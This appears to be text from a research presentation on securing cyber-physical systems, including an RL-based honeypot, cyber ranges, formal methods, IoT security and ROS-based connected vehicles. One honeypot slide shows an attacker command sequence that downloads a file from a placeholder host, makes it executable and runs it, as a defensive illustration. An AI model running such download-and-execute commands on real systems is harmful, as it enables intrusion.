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Résumé du défi

• Domaines: Industrie 4.0 & espace
• Cyber Physical System = système intelligent incorporant des réseaux de composants logiciels et 

physiques qui interagissent entre eux (edge)
• besoin d’une plus grande puissance de calcul déportée 
• accroissement des communications nécessaires entre ces composants ou avec une partie centrale
• Nécessite une haute tolérance aux pannes, facilité de mise à jour

Bailey, B., et al. « Defending spacecraft in the cyber domain. » 
Aerospace Corp. TR OTR202000016, El Segundo, CA (2019).

ENISA - Cybersecurity is a key enabler for Industry 4.0 
adoption

https://aerospace.org/sites/default/files/2019-11/Bailey_DefendingSpacecraft_11052019.pdf
https://www.enisa.europa.eu/news/enisa-news/cybersecurity-is-a-key-enabler-for-industry-4-0-adoption
https://www.enisa.europa.eu/news/enisa-news/cybersecurity-is-a-key-enabler-for-industry-4-0-adoption
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Challenges de recherche: 
• Etudier l’application de méthodes et outils en tenant compte des spécificités de ces domaines
• Démontrer le succès de l’approche DevSecOps
• Sécurité « By Design »
• Sécuriser en profondeur - modèle « zero trust »
• Minimiser et visibilité de la surface d’attaque
• Eviter la sécurité par l’obscurité
• Rester simple, assessment vs certification
• CNSSI 1200, CCSDS 35X.0-B, NIST CSF, ISA/IEC - 62443 ou FDAM

Impact:
• Détecter les vulnérabilités au plus tôt 

• minimiser leur impact  pour réduire le risque 
• DevSecOps = qualité + sécurité + vitesse

• Convergence entre l’IT et l’OT
• unifier le contrôle et la surveillance pour faciliter la gestion de la sécurité (edge)

https://public.ccsds.org/Pubs/355x0b2.pdf
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Problèmes de recherche

● An Adaptive Self-guarded Honeypot (UNamur)
● IoT Security (ULB)
● Cyber Range Scenarios (UCL)
● Coordination-based Process Algebra for Security (UNamur)
● Vacsine - Adaptive continuous security orchestration for Cloud/Edge (CETIC)
● … 

Expérimentation dans la factory

● Déploiement d’un système à sécuriser dans une sandbox de la CYBER Factory 
● Etude de cas : 

○ systèmes autonomes connectés (Robots, edge) + gestion (Cloud)
○ Introduction de vulnérabilités
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ASGARD - An Adaptive Self-guarded Honeypot
S. Touch, UNamur
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Adaptive (smart) honeypot:

○ Interact with the attackers to collect their tools

○ Defend itself from being deeply compromised



ASGARD - An Adaptive Self-guarded Honeypot
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Our approach: a honeypot as a RL agent

- allow
- block
- substitute

Honeypot
(Learning Agent)

Environment

ActionStateS A

$ uname
$ wget http://hacked.com/xyz
$ chmod +x xyz
$ ./xyz

Reward R

Attacker



Cyber range scenarios
B. Duhoux, UCLouvain
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Cyber Range Scenarios

Virtual training ground 

for security experts

Set of hardware 
components, network 
topologies, software 

systems with a 
specific version that 

contain vulnerabilities

Sécurisation by design de systèmes cyber-physiques
Cyber range scenarios



The manual creation of scenarios including contextual information has several 
disadvantages:
● Need experts, 
● time-consuming, 
● not really reusable.

⇒ So we need a semi-automatic solution to facilitate the work of CRS designers / 
engineers.

Sécurisation by design de systèmes cyber-physiques
Cyber range scenarios
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Web service

Cyber Range

Web service

User profile Scenario information 
including variabilities

Collector

Translator

Parser

SMT Solver

CITEF

Website

HTTP

YAML

HTTP

YAML

HTTP

JSON
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2.4 Coordination-based Process Algebra for Security
D. Ouardi, UNamur
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Contexte et problématique industrielle associés au sujet de recherche

2.4 Project CPA4Sec:Coordination-based Process Algebra for Security

Développer des protocoles de sécurité corrects est notoirement difficile

⇒ utilisation de méthodes formelles

Application 
à des cas 
industriels

Etude des 
algèbres de 
processus 

Etude du langage 
de coordination 

Bach

Extension à la 
sécurité 

Développement 
de techniques 

model checking



VACSINE -  Adaptive continuous security orchestration for Cloud/Edge

S. Dupont, G. Ginis, CETIC
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Vacsine - Adaptive continuous security orchestration for Cloud/Edge
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Vacsine Objectives

Continuous security assessment

risk assessment to measure security 
response efficiency

Privacy

federated learning at the edge

Image ref: NIST Cyber Security Framework

Observability

intrusion/anomaly detection

Orchestration

Automated response testing 
and evaluation

https://github.com/cetic/vacsine 

https://www.nist.gov/cyberframework
https://github.com/cetic/vacsine
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Sécurisation by design de systèmes cyber-physiques
2. Problèmes de recherche



IoT Security - Activités de recherche

● Sécurité des IoT
○ Protocoles et architectures

○ Device security (hardware roots of trust)

○ Design conjoint cloud-hardware

● Axes principaux actuels
○ Internet des objets

○ Smart grids Mécanismes de type edge-fog-cloud

○ Spatial (hardware sécurisé pour les nanosatellites)

● Deux thèses qui se terminent (mais sans suite)
■ [ Adverserial machine learning ] 
■ [ Smart contracts dans la blockchain ] 

Sécurisation by design de systèmes cyber-physiques

Recherche financée par la Région Wallonne



● Roots of trust

● Privacy by design

Recherche financée par la Région Wallonne

IoT Security - Activités de recherche
Sécurisation by design de systèmes cyber-physiques
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3. Etude de cas - sécurité CPS - Connected vehicles
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One leader vehicle is followed by N other vehicles (« followers »). 

The vehicles can exchange information on a V2V (vehicle to vehicle) 
interface and on a V2I (vehicle to infrastructure) interface

Image source: https://theconversation.com/coming-soon-to-a-highway-near-you-truck-platooning-87748 
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https://theconversation.com/coming-soon-to-a-highway-near-you-truck-platooning-87748
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Robot Operating System https://www.ros.org/ 

ROS-Industrial is an open-source project that 
extends the advanced capabilities of ROS to 

manufacturing automation and robotics. 
https://rosindustrial.org 

An open-source space robotics framework for developing 
fligh-quality robotics and autonomous space systems

https://space.ros.org/ 

https://www.ros.org/
https://rosindustrial.org/about/description/
https://space.ros.org/


Mazzeo, Giovanni & Staffa, Mariacarla. (2020). TROS: Protecting Humanoids 
ROS from Privileged Attackers. International Journal of Social Robotics. 12. 

10.1007/s12369-019-00581-4.

ROS2 introduces:
• security - AuthN, AuthZ, communication encryption 
• real time
• distributed processing
• resilience & robustness
• ...

3. Etude de cas - sécurité CPS - Connected vehicles
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ROS Protocol v1 :
• Publish/Subscribe mechanism with topics
• Use a master to manage communication
• No encryption
• No authentication
• Basically No security
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https://eprint.iacr.org/2020/945.pdf
https://tianweiz07.github.io/Papers/22-ccs-2.pdf
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DevSecOps - increase quality, speed and security

3. Etude de cas - sécurité CPS - Connected vehicles  - CYBER FACTORY
Sécurisation by design de systèmes cyber-physiques

La Win4Excellence Factory est une usine logicielle (ou Software Factory en anglais). Cette  
plateforme matérielle et logicielle est utilisée sur les projets Win4Excellence pour favoriser la 

collaboration entre les acteurs de la recherche et de l’industrie  wallons, et contribuer à la 
diffusion des résultats de recherche de ces projets.
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● Interested ? Join us ! sebastien.dupont@cetic.be 

● Monthly status meetings
● Meeting with industry actors 05/2023

● Integration in the Cyber Factory
● Dissemination

Demo WalHub 25/04

Workshop STARS ??/05

mailto:sebastien.dupont@cetic.be
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